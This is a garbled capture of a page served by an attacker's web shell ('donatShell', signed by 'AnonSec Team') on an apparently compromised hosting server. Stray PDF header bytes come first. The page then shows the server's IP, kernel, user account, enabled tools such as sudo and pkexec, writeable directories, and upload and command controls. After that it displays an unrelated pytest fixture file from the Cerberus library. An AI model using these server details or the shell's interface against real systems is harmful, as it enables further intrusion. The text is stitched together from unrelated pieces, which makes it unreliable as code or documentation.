%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/alt/python35/lib/python3.5/site-packages/cerberus/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/alt/python35/lib/python3.5/site-packages/cerberus/tests/conftest.py
# -*- coding: utf-8 -*-

from copy import deepcopy

import pytest

from cerberus import Validator


@pytest.fixture
def document():
    return deepcopy(sample_document)


@pytest.fixture
def schema():
    return deepcopy(sample_schema)


@pytest.fixture
def validator():
    return Validator(sample_schema)


sample_schema = {
    'a_string': {
        'type': 'string',
        'minlength': 2,
        'maxlength': 10
    },
    'a_binary': {
        'type': 'binary',
        'minlength': 2,
        'maxlength': 10
    },
    'a_nullable_integer': {
        'type': 'integer',
        'nullable': True
    },
    'an_integer': {
        'type': 'integer',
        'min': 1,
        'max': 100,
    },
    'a_restricted_integer': {
        'type': 'integer',
        'allowed': [-1, 0, 1],
    },
    'a_boolean': {
        'type': 'boolean',
    },
    'a_datetime': {
        'type': 'datetime',
    },
    'a_float': {
        'type': 'float',
        'min': 1,
        'max': 100,
    },
    'a_number': {
        'type': 'number',
        'min': 1,
        'max': 100,
    },
    'a_set': {
        'type': 'set',
    },
    'one_or_more_strings': {
        'type': ['string', 'list'],
        'schema': {'type': 'string'}
    },
    'a_regex_email': {
        'type': 'string',
        'regex': '^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$'
    },
    'a_readonly_string': {
        'type': 'string',
        'readonly': True,
    },
    'a_restricted_string': {
        'type': 'string',
        'allowed': ["agent", "client", "vendor"],
    },
    'an_array': {
        'type': 'list',
        'allowed': ["agent", "client", "vendor"],
    },
    'a_list_of_dicts': {
        'type': 'list',
        'schema': {
            'type': 'dict',
            'schema': {
                'sku': {'type': 'string'},
                'price': {'type': 'integer', 'required': True},
            },
        },
    },
    'a_list_of_values': {
        'type': 'list',
        'items': [{'type': 'string'}, {'type': 'integer'}, ]
    },
    'a_list_of_integers': {
        'type': 'list',
        'schema': {'type': 'integer'},
    },
    'a_dict': {
        'type': 'dict',
        'schema': {
            'address': {'type': 'string'},
            'city': {'type': 'string', 'required': True}
        },
    },
    'a_dict_with_valueschema': {
        'type': 'dict',
        'valueschema': {'type': 'integer'}
    },
    'a_dict_with_keyschema': {
        'type': 'dict',
        'keyschema': {'type': 'string', 'regex': '[a-z]+'}
    },
    'a_list_length': {
        'type': 'list',
        'schema': {'type': 'integer'},
        'minlength': 2,
        'maxlength': 5,
    },
    'a_nullable_field_without_type': {
        'nullable': True
    },
    'a_not_nullable_field_without_type': {
    },
}

sample_document = {'name': 'john doe'}

Anon7 - 2022
AnonSec Team